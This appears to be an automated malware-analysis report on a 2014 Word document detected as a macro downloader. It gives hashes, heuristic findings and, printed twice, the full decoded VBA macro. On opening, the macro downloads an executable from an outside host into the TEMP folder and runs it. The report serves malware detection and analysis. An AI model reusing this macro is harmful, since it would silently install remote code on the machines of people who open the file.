Office (OLE) malware analysis — malicious · 640a8f95d1fa4858

MALICIOUS

Office (OLE)

33.0 KB Created: 2014-06-07 02:23:00 Authoring application: Microsoft Office Word First seen: 2014-06-15

MD5: 72c80b02f07eff112ae81dd4daebe93f SHA-1: 3eed462542858ccd2466fcf70f15ca3a732b6401 SHA-256: 640a8f95d1fa485856d4c4a1cba90bf721a0c1dc7218ed9f3e776e236e7045e8

354 Risk Score

Heuristics 12

ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD

Reference to URLDownloadToFile API
VBA macros detected medium 7 related findings OLE_VBA_MACROS

Document contains VBA macro code
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
    UYGUSTLNSBA = Shell(OVAFGPJKQNZ, 1)
```

URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD

URLDownloadToFile in VBA

Matched line in script

    Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal ZCMGNQEZSMB As Long, _

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AutoOpen()
```
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Sub Workbook_Open()
```
Auto_Open macro low OLE_VBA_AUTO

Auto_Open macro
Matched line in script
```
    Auto_Open
```
Environ() call (env variable access) low OLE_VBA_ENVIRON

Environ() call (env variable access)
Matched line in script
```
    WFCTFPXUEEL "http://www.werhackers.net/beta.exe", Environ("TEMP") & "\OSKRSTPCCKB.exe"
```
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://www.werhackers.net/beta.exe� Referenced by macro
- http://www.werhackers.net/beta.exeReferenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1333 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	1333 bytes
SHA-256: `bec48647ff69d57732d18cd95dfadaa1d754245a2431556b56d9c2cacf60fc51`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Option Explicit #If Win64 Then Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal ZCMGNQEZSMB As Long, _ ByVal QRJFSPZTBWN As String, ByVal QMCXZTKBKVU As String, ByVal LHLNZBYWRCC As Long, _ ByVal URGHAVZHKSD As Long) As Long #Else Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal ZCMGNQEZSMB As Long, _ ByVal QRJFSPZTBWN As String, ByVal QMCXZTKBKVU As String, ByVal LHLNZBYWRCC As Long, _ ByVal URGHAVZHKSD As Long) As Long #End If Function WFCTFPXUEEL(HWZNWLHMCLZ As String, OVAFGPJKQNZ As String) As Boolean Dim ZYHSYZQZOAU As Long ZYHSYZQZOAU = URLDownloadToFileA(0, HWZNWLHMCLZ, OVAFGPJKQNZ, 0, 0) If ZYHSYZQZOAU = 0 Then WFCTFPXUEEL = True Dim UYGUSTLNSBA UYGUSTLNSBA = Shell(OVAFGPJKQNZ, 1) End Function Public Sub LMADPRKPRCF() WFCTFPXUEEL "http://www.werhackers.net/beta.exe", Environ("TEMP") & "\OSKRSTPCCKB.exe" End Sub Sub Workbook_Open() Auto_Open End Sub Sub AutoOpen() Auto_Open End Sub Sub Auto_Open() LMADPRKPRCF End Sub

SHA-256: bec48647ff69d57732d18cd95dfadaa1d754245a2431556b56d9c2cacf60fc51

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
#If Win64 Then
    Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal ZCMGNQEZSMB As Long, _
ByVal QRJFSPZTBWN As String, ByVal QMCXZTKBKVU As String, ByVal LHLNZBYWRCC As Long, _
ByVal URGHAVZHKSD As Long) As Long
#Else
    Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal ZCMGNQEZSMB As Long, _
ByVal QRJFSPZTBWN As String, ByVal QMCXZTKBKVU As String, ByVal LHLNZBYWRCC As Long, _
ByVal URGHAVZHKSD As Long) As Long
#End If
Function WFCTFPXUEEL(HWZNWLHMCLZ As String, OVAFGPJKQNZ As String) As Boolean
    Dim ZYHSYZQZOAU As Long
    ZYHSYZQZOAU = URLDownloadToFileA(0, HWZNWLHMCLZ, OVAFGPJKQNZ, 0, 0)
    If ZYHSYZQZOAU = 0 Then WFCTFPXUEEL = True
    Dim UYGUSTLNSBA
    UYGUSTLNSBA = Shell(OVAFGPJKQNZ, 1)
End Function
Public Sub LMADPRKPRCF()
    WFCTFPXUEEL "http://www.werhackers.net/beta.exe", Environ("TEMP") & "\OSKRSTPCCKB.exe"
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Auto_Open()
LMADPRKPRCF
End Sub

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